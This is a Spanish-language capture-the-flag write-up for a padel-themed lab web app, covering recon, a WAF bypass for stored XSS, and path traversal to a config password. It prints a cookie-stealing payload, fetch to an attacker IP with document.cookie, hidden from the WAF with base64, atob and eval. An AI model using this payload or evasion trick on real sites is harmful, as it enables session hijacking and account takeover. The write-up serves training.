Introduction

Usa técnicas de red teaming para bypassear el WAF y obtener acceso administrador a la aplicación web.
Has ingresado en una competición de padel, pero tu rival sigue ascendiendo en la clasificación. El panel de administrador gestiona las aprobaciones y registros. ¿Puedes crackear el admin y reescribir el encuentro antes de que suene el silbato?
Getting the Flags
Reconocimiento Inicial
Comenzamos con un escaneo de puertos.

Ahora vamos a escanear dichos puertos más en profundidad.

Esto podría permitirnos realizar un XSS.
Vamos a listar directorios web.
padelify.thm ├── config [200 451B] ├── js [200 461B] ├── logs [200 455B] │ └── error.log [200 1KB] ├── footer.php [200 33B] ├── header.php [200 728B] ├── login.php [200 467B] └── status.php [200 1KB]
Vamos a ver cómo se ve la web.

Aquí podemos ver algo de especial interés: El moderador debe aprobar nuestra cuenta.
Vamos a ver qué hay en los archivos que hemos encontrado.

Vamos a seguir mirando.

Y seguimos.
Profundización
Si intentamos entrar, por ejemplo a app.conf, nos sale lo siguiente:

Vamos a ver error.log

Explotación
Vamos primero a capturar la petición de registro y a probar diferentes payloads en BurpSuite.

Como habíamos visto que la httponly: not set, podemos intuir un ataque XSS en este formulario para robar la cookie de sesión de moderator. Sin embargo, hay un WAF protegiendo el entorno, por lo que tendremos que dar con el bypass correspondiente.

Parece que aunque subamos un payload como <script>alert('XSS')</script>, no tiene mayor repercusión, así que vamos a probar todos los campos para obtener la cookie de sesión del usuario moderator.

Parece que un payload con impacto real sí que ha sido detectado. Vamos a probar diferentes técnicas de ofuscación.
Después de un rato probando, parece que fetch y cookie son dos palabras que causan problemas con el WAF. Investigo técnicas de ofuscación con comentarios y entidades HTML pero ninguna funciona, por lo que hay que probar otros comandos.

Parece que atob y eval no están capados, por lo que mandamos fetch('http://IP:PUERTO' + document.cookie) encodeado en base64.

CAUTION: Por algún motivo en mi máquina no funcionó y estuve mucho tiempo atascado, hasta que probé con la attackbox.
Introducimos la cookie en el navegador y refrescamos la página.
Escalada de Privilegios
Si le damos al apartado Live, podemos ver que nos lleva a una página y que carga documentos:

Es aquí donde nos acordamos que había otros como header.php, y el más importante: /config/app.conf. Vamos a ver si podemos cargar uno inofensivo:

Efectivamente sí podemos, vamos a intentar un path traversal aquí:

Pero nos bloquea, así que vamos a probar alguna técnica de ofuscación.

Bingo! Eso parece una contraseña, vamos a probarla.

Y ahí lo tenemos.
